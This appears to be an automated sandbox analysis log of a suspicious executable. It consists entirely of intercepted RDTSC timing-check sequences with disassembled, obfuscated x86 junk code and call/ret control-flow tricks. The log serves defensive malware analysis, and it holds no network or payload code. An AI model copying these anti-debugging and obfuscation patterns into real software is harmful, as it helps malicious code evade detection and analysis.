Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E47773 second address: E47817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FCA18DB50F5h 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007FCA18DB50E8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 push eax 0x00000029 jbe 00007FCA18DB50ECh 0x0000002f sub dword ptr [ebp+122D1E6Eh], ecx 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FCA18DB50E8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 call 00007FCA18DB50EEh 0x00000057 mov esi, eax 0x00000059 pop esi 0x0000005a mov dword ptr [ebp+122D29E4h], ecx 0x00000060 mov dword ptr [ebp+122D1F3Ah], esi 0x00000066 push 00000000h 0x00000068 cld 0x00000069 mov esi, dword ptr [ebp+122D3A4Ah] 0x0000006f xchg eax, ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FCA18DB50EBh 0x00000077 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E49F17 second address: E49FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FCA18C4F6A2h 0x0000000b jng 00007FCA18C4F696h 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007FCA18C4F698h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 jmp 00007FCA18C4F6A2h 0x00000035 push 00000000h 0x00000037 sub dword ptr [ebp+1244A725h], ecx 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007FCA18C4F698h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000018h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 mov esi, dword ptr [ebp+12451C24h] 0x0000005f xchg eax, ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 jnp 00007FCA18C4F69Ch 0x00000068 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E49C91 second address: E49C97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E49FA8 second address: E49FAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E49FAE second address: E49FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E49FBC second address: E49FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E49FC1 second address: E49FC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4A958 second address: E4A95E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4BCF3 second address: E4BD09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA18DB50F2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4C784 second address: E4C79F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18C4F6A6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4E8CA second address: E4E94C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FCA18DB50E8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000015h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 push esi 0x00000026 movzx ebx, ax 0x00000029 pop edi 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push edx 0x0000002f call 00007FCA18DB50E8h 0x00000034 pop edx 0x00000035 mov dword ptr [esp+04h], edx 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc edx 0x00000042 push edx 0x00000043 ret 0x00000044 pop edx 0x00000045 ret 0x00000046 sub ebx, dword ptr [ebp+122D399Ah] 0x0000004c mov edi, eax 0x0000004e push 00000000h 0x00000050 mov ebx, dword ptr [ebp+124728F2h] 0x00000056 xchg eax, esi 0x00000057 jnc 00007FCA18DB50F1h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push ebx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4C79F second address: E4C7BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCA18C4F6A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4E94C second address: E4E951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4DAE8 second address: E4DAEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4C7BA second address: E4C7E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FCA18DB50E6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4E951 second address: E4E957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4C7E3 second address: E4C7F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4E957 second address: E4E95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4F86A second address: E4F874 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCA18DB50E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4F874 second address: E4F8C8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCA18C4F69Ch 0x00000008 je 00007FCA18C4F696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FCA18C4F698h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f and ebx, dword ptr [ebp+122D2F94h] 0x00000035 push 00000000h 0x00000037 mov bl, 99h 0x00000039 xchg eax, esi 0x0000003a jmp 00007FCA18C4F69Ah 0x0000003f push eax 0x00000040 pushad 0x00000041 push ecx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E4F8C8 second address: E4F8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5098C second address: E50996 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FCA18C4F696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E518EA second address: E518EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E51A70 second address: E51A76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E52A06 second address: E52A22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edi 0x0000000b pushad 0x0000000c jns 00007FCA18DB50E6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E537F8 second address: E53823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FCA18C4F6A0h 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E51A76 second address: E51A7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E52A22 second address: E52AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 nop 0x00000007 mov dword ptr [ebp+12452010h], edi 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007FCA18C4F698h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Ch 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e jmp 00007FCA18C4F6A6h 0x00000033 jmp 00007FCA18C4F69Ah 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov di, si 0x00000042 mov eax, dword ptr [ebp+122D0F59h] 0x00000048 mov dword ptr [ebp+12451AE3h], esi 0x0000004e push FFFFFFFFh 0x00000050 mov di, cx 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 jnp 00007FCA18C4F698h 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E53823 second address: E538CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007FCA18DB50E8h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 cmc 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FCA18DB50E8h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000014h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 mov dword ptr [ebp+12451961h], ebx 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push eax 0x0000004c call 00007FCA18DB50E8h 0x00000051 pop eax 0x00000052 mov dword ptr [esp+04h], eax 0x00000056 add dword ptr [esp+04h], 0000001Ah 0x0000005e inc eax 0x0000005f push eax 0x00000060 ret 0x00000061 pop eax 0x00000062 ret 0x00000063 mov dword ptr [ebp+122D2CEAh], edx 0x00000069 jmp 00007FCA18DB50EEh 0x0000006e push eax 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 jbe 00007FCA18DB50E6h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E51A7A second address: E51B16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebp 0x0000000c call 00007FCA18C4F698h 0x00000011 pop ebp 0x00000012 mov dword ptr [esp+04h], ebp 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc ebp 0x0000001f push ebp 0x00000020 ret 0x00000021 pop ebp 0x00000022 ret 0x00000023 mov edi, 50439899h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f movzx ebx, bx 0x00000032 jmp 00007FCA18C4F6A2h 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov edi, dword ptr [ebp+122D2F94h] 0x00000044 mov eax, dword ptr [ebp+122D0A99h] 0x0000004a add ebx, dword ptr [ebp+12450836h] 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push edx 0x00000055 call 00007FCA18C4F698h 0x0000005a pop edx 0x0000005b mov dword ptr [esp+04h], edx 0x0000005f add dword ptr [esp+04h], 00000019h 0x00000067 inc edx 0x00000068 push edx 0x00000069 ret 0x0000006a pop edx 0x0000006b ret 0x0000006c xor dword ptr [ebp+122D3657h], edx 0x00000072 mov ebx, 4B8DC713h 0x00000077 nop 0x00000078 pushad 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c pop eax 0x0000007d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E538CA second address: E538CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E51B16 second address: E51B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E51B1A second address: E51B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E548C5 second address: E548CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E548CA second address: E54912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FCA18DB50E6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov ebx, edi 0x00000012 push 00000000h 0x00000014 mov bx, ax 0x00000017 mov di, cx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007FCA18DB50E8h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 add di, 5011h 0x0000003b xchg eax, esi 0x0000003c pushad 0x0000003d push edi 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E53A51 second address: E53A56 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E53AF4 second address: E53AF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5591E second address: E55922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E57A3E second address: E57A59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E57A59 second address: E57A5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E58A71 second address: E58A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov bh, 57h 0x0000000b push 00000000h 0x0000000d or edi, dword ptr [ebp+122D3816h] 0x00000013 push 00000000h 0x00000015 or ebx, 36E94D1Dh 0x0000001b mov dword ptr [ebp+124525A9h], eax 0x00000021 push eax 0x00000022 jbe 00007FCA18DB50F0h 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5AB93 second address: E5AB9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FCA18C4F696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5AB9D second address: E5ABCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18DB50F6h 0x00000007 jmp 00007FCA18DB50ECh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E032B9 second address: E032BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5B214 second address: E5B28C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCA18DB50F5h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 cmc 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FCA18DB50E8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d jmp 00007FCA18DB50F7h 0x00000032 jg 00007FCA18DB50ECh 0x00000038 push 00000000h 0x0000003a mov dword ptr [ebp+122D30FFh], ebx 0x00000040 push eax 0x00000041 push edi 0x00000042 push eax 0x00000043 push edx 0x00000044 push esi 0x00000045 pop esi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E58BBF second address: E58BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E56C61 second address: E56C66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E55ADB second address: E55ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5C1BC second address: E5C1C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5B406 second address: E5B40B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5B40B second address: E5B410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5B410 second address: E5B424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jbe 00007FCA18C4F6A4h 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5B424 second address: E5B428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5D1B3 second address: E5D1D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FCA18C4F696h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5C2E5 second address: E5C2EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5C2EA second address: E5C308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA18C4F6A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5C308 second address: E5C30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5C3E0 second address: E5C3E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5E08B second address: E5E08F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5D430 second address: E5D44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FCA18C4F6A3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5D44C second address: E5D450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E5E223 second address: E5E227 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E67621 second address: E67627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E67627 second address: E6762B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E66DCE second address: E66DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E66DD2 second address: E66E32 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FCA18C4F6A4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007FCA18C4F698h 0x00000011 pop esi 0x00000012 je 00007FCA18C4F6D3h 0x00000018 jnl 00007FCA18C4F6B1h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FCA18C4F6A4h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E670F2 second address: E670F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E670F6 second address: E67101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E67101 second address: E6711D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50F5h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71360 second address: E7138A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18C4F69Fh 0x00000009 jmp 00007FCA18C4F6A6h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71A62 second address: E71A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA18DB50F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	RDTSC instruction interceptor: First address: E71A7D second address: E71A9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FCA18C4F696h 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jmp 00007FCA18C4F69Dh 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
